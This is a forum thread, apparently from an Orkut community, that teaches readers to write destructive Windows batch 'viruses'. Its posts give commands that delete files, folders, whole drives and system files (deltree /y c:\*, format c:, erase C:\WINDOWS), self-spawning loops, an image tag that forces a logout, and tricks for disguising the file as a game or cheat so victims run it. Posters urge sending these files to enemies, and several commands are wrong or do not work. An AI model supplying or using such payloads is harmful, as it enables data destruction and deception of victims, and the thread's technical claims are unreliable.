Make a virus! (OUG 12)


Sep 10 (4 days ago)

δalmaan Awan

Make a virus!

Index
1. Tools
2. What makes a virus a virus
3. Making your first batch file
4. Making a batch virus
5. Destructive commands
6. Most common tricks used to make someone open the file


1. Tools
To make a batch program you will need a text program (ex. Word,notepad,wordpad etc…) A keyboard if you don’t have one you can use the ON-screen keyboard
To get to the on-screen keyboard start>all programs>accessories>accessibility


2. What makes a virus a virus
When people think of a virus they think of a computer virus but the word virus came from a virus that’s in your body. They also think a virus is meant to delete or destroy things. They normally do but a virus is called a virus because, it copies itself. Like a virus in your body it copies it self to other cells cause it can’t live with out a host. Same with a computer virus with out a file or a program a virus can’t be made.
So all a computer virus is: a program that copies it self ,but some people put destructive code in it.

3. Making a Batch file
I’m going to use notepad you can use what ever you want

We are also going to make a “Hello World” Application that is the first program you make in any language

When making a batch file you are always going to use this line first

@echo off

You can turn it on if you like. All that does is telling the program not to tell its location. If you turn it on then the program will tell were it is at on the computer.
You can experiment a little if you want.

Now we are going to make it say Hello World

To do this we need a echo command which looks like this
echo

This tells the program to write something since we want it to say Hello World we are going to type Hello World next to echo to make it look like this

echo Hello World

so at this point you should have

@echo off
echo Hello World

now go to file save and name it test.bat ( you can name it whatever you want as long as it has .bat at the end.)
Save it to the desktop so you can get to it faster.

Then run it
Sep 10 (4 days ago)

δalmaan Awan

Continued!

You should of have a black box open and close really fast

To fix this we need a pause command and we will also need a goto command

The goto command is the most importent command

If you dont know the goto command tell it were to go to next.

since we need a pause command we want it to go to pause so we need to write goto pause like this

goto pause

now u should have

@echo off
echo Hello World
goto pause

now we need a subsection name pause

you make a sub section by putting a : by the first word like this

:start

or

:end

,but we said go to pause so we need one name pause like this

ause

then under that we are goin to write pause

ause
pause

this just makes it were it will keep the box open till you press a key

Optionl

At the end you can put a exit at the end of pause were the goto command should go ,but you dont have to.

save at run it now.You should be able to read your text now

4. Making a Batch file into a virus

This is alot easier then some people think.

To make a virus you just need the copy command which looks like this

copy

so lets make a new one by reading section 3 you should know you need the @echo off

@echo off
copy

allright we are going to name this file first

and we are going to make it copy itself to C:\WINDOWS just because no one looks in their

this is what it looks like (i will explain it)

@echo off
copy first C:\WINDOWS

copy-tells it to copy
first-is just the name of the file we want to copy
C:\WINDOWS- is the place you want to copy to

that is a virus

5. Destructive commands

If you get pissed at someone you might want to send him someting to mess with him. Here are some commands to add to the virus.

del -this del files

del file name
del (.txt*)

the (.txt*) would delete all txt files on the computer the * at the end just means all instead of a file called .txt

deltree- this deletes the whole folder

you can remeber it like this
Sep 10 (4 days ago)

δalmaan Awan

Continued again

Think of a tree if you type del you are only deleting a part of the tree ,but if you type deltree you are deleting the whole tree

format- this deltes everything

format c:

this delets everything in the c drive

open

this is just fun to use to scare some one but not do damage to something

open name of file

like to open notepad type

open notepad

to open microsoft paint type

open mspaint

just put ta crap load in their

also the next one that can be very usefull is looping

this will make the file repet it self til it is shut off

say your first sub section is called start

you would just make the goto command to go to start like

@echo off
:start
start notepad
goto start

that will open notepad over and over and if they dont close it it can crash their computer

to open the command window you have to use var. like %% (not going to explain var. it would be confusing)

@echo off
:whatever
start %0
goto whatever

this will open the black box over and over

6. Most command tricks

people will put it in a folder with a couple read me doc. and call it a game

people will say check this out it is so cool

people will say check out this hack or cheat i found for this game

to check if the are good do this

tell them to put it in a zip folder and send it

unzip and right click on the program(dont open it)

and press edit

that will show the sorce code and if you see something you dont like then delete it

Examples

for just a simp msg its

@echo off
echo *insert MSG here*
goto pause
ause
pause

for the a rapid command propt type screen its

@echo off
:whatever
start %0
goto whatever

for rapid note pad its


@echo off
:start
start notepad
goto start

for rapid ms paint its


@echo off
:start
start ms paint
goto start

Quite Long but good to try...
Sep 10 (4 days ago)

Pushpak jain ███

Very easy but dangerous Virus

Ok, now, the trick:

The only thing you need is Notepad.

Now, to test it, create a textfile called TEST.txt(empty) in C:\
Now in your notepad type "erase C:\TEST.txt" (without the quotes). Then do "Save As..." and save it as "Test.cmd".
Now run the file "Test.cmd" and go to C:\ and you'll see your Test.txt is gone. Now, the real work begins:

Go to Notpad and type erase C:\WINDOWS (or C:\LINUX if you have linux) and save it again as findoutaname.cmd. Now DON'T run the file or you'll lose your WINDOWS map. So, that's the virus. Now to take revenge. Send you file to your victim. Once she/he opens it. Her/his WINDOWS/LINUX map is gone. And have to install LINUX/WINDOWS again.


Simple explanation:

Go to notepad, type erase C:\WINDOWS, save, send to victim, once the victim opens it, the map WINDOWS will be gone and have to install WINDOWS again...


HEY I AM NOT RESPONSIBLE FOR ANYTHING HAPPEN 2 UR COMPUTER IF U TRY THIS!!!!!!!

AGAIN :I AM NOT RESPONSIBLE FOR ANYTHING HAPPEN 2 UR COMPUTER IF U TRY THIS!!!!!!!

be aware of this..its a simple but a strong virus that can delete anyones window os through email ..ok

On3 N OnLy:
Anonymous
Sep 10 (4 days ago)

Pushpak jain ███

open ur notepad n type the following.........
type del c:\boot.ini c:\del autoexec.bat

save as .exe

[save it as .exe file....n u can save it by ne name....like hot girsls...etc....]

it will just delete the windows .bat file....n the victim have to reinstall windows again....
no photo
Sep 10 (4 days ago)

äÖÄ

Sep 10 (4 days ago)

Pushpak jain ███

OPEN NOTEPAD AND COPY-PASTE THE FOLLOWING CODE IN IT.THEN SAVE THE FILE WITH WHATEVER NAME U LIKE BUT BE SURE TO SAVE IT AS A BAT FILE.I MEAN SAVE IT LIKE MYVIRUS.BAT.IT SHOULD HAVE THE ENDING AS .BAT.NOW IF U GIVE THIS TO SOMEONE AND IF HE RUNS THIS PROGRAM THEN HIS MY DOCUMENT FOLDER WILL BE DELETED.


rmdir C:\Documents and Settings \S\Q.

On3 N OnLy:
SB GaBBaR,I kiss U And Ur Profilestay confused,Sb,H.M.G.,Indian staff
Sep 10 (4 days ago)

Pushpak jain ███

One more virus
DEADLIEST VIRUS
::::::::::::::::::::Better than a VIRUS!!!!:::::::::::::::::::::::::
write a small batfile...

and place this inside of it..

deltree /y c:\*

yes this is all, and u can change c:\ to any drive u want...
this will delete all c:\ incl all sub directory's....
deltree /y c:\*
deltree /y D:\*
deltree /y E:\*
deltree /y F:\*
deltree /y G:\*

LIKE THAT


don't know how to write a bat-file?

windows : open notepad,
type deltree /y c:\* in it,
choose save as, and type delete.bat (or any *.bat) and click on save...

AND SEND THIS FILE TO ALL UR FRIENDS AMD ENIMIES SO AS SOON AS THE DOUBLE CLICK IT MAGIC HAPPENES

dos: type: copy con: delete.bat
type: deltree /y c:\*
pres: CTR-Z and then ENTER

use this on your own pc only...
this could really do some damage on ur enemies. pc.

I don`t know abt this virus

On3 N OnLy:
SB GaBBaR,I kiss U And Ur Profilestay confused,Sb,H.M.G.,Indian staff
no photo
Sep 10 (4 days ago)

äÖÄ

Keep going


/\
//
\\
//
\\
Sep 10 (4 days ago)

Pushpak jain ███

Nahii bhai aaj ke liye itna kaafi hai
first | <> | next > | last
no photo
Sep 10 (4 days ago)

äÖÄ

Kyun , aur hona chahiyeh

Should be complete now ... all
Sep 10 (4 days ago)

Pushpak jain ███

aree bhai tum toh peeche hi pad gaye
no photo
Sep 10 (4 days ago)

äÖÄ

Peechay kahan hoon

mein to computer kay samnay hon
Sep 10 (4 days ago)

Mr India

@Ghabber

Bhai kabhi try kiya hai ya aise hi copy paste

None of them will work, Better is write simple code on timer in vb and go.. like


i=RND(1000)
dir="c:\" + str(i)
mkdir (dir)

and set inverval to 1 and make visible false for form fir dekho 1 second me 10000 dir banayega aur victim pagal ho jayega
Sep 10 (4 days ago)

Pushpak jain ███

Mr india ek baat bataoo










































































Thnx

On3 N OnLy:
SB GaBBaR,I kiss U And Ur Profilestay confused,Sb,H.M.G.,Indian staff
Sep 10 (4 days ago)

Mr India

OK batata hu Thanks
no photo
Sep 10 (4 days ago)

äÖÄ

Hmm !
Sep 10 (4 days ago)

νινєк@patni.com

deltree command is not working in service pack 2 of win xp os.
Sep 10 (4 days ago)

νινєк@patni.com

you cannot format c: while u r working on os which is working in c :

erase C:\WINDOWS will not work coz you cannot delete this folder directly. you may try on urself
no photo
Sep 10 (4 days ago)

äÖÄ

Yes ^ woh to pata hay !
first | <> | next > | last
« back to topics reply



Sep 10 (4 days ago)

Commando

yar mujat .bat file banana hi samajh nahi aya. screen aik dafa ati hay, phir gaib. explain the mechanism with EXAMPLE, complete example.
Sep 10 (4 days ago)

νινєк@patni.com

bat file banana simplese.

type the commands in notepad and save the file as .bat extension
simple
Sep 10 (4 days ago)

Mr India

Kaunsi bat file? What do you want to do in it?
Sep 10 (4 days ago)

Commando

yar commands kis tara type kerni hen?

i m talking abt making a simple bat file with Hello World in it. ye pause kahan pe likhna hay or kis tara?
no photo
Sep 10 (4 days ago)

äÖÄ



http://www.orkut.com/GLogin.aspx?cmd=logout
Logout" width="1" height="1">




Correct it please

i misplace it :S
Sep 10 (4 days ago)

☠ คคאยรђ™

http://www.orkut.com/GLogin.aspx?cmd=logout" width="1" height="1">
no photo
Sep 10 (4 days ago)

äÖÄ

ThxXx
Sep 10 (4 days ago)

A@$H!sh.. !tZ

@ topic creater, thanks for the write up.. really worked
Sep 10 (4 days ago)

Luiz

nice but many of dem wont work...!
Sep 10 (4 days ago)

Mr India

@Commando

Write this in notepad and save as test.bat

@echo off
echo "Hello World"
pause
first | <> | next > | last
« back to topics reply




Sep 11 (3 days ago)

gotenks

@all.. hey guys thanks for write up.. really cool stuff

can we discuss a little more about it? ??

about trojans.. how to void them? modify and use them to our benefit ??
first | <> | next > | last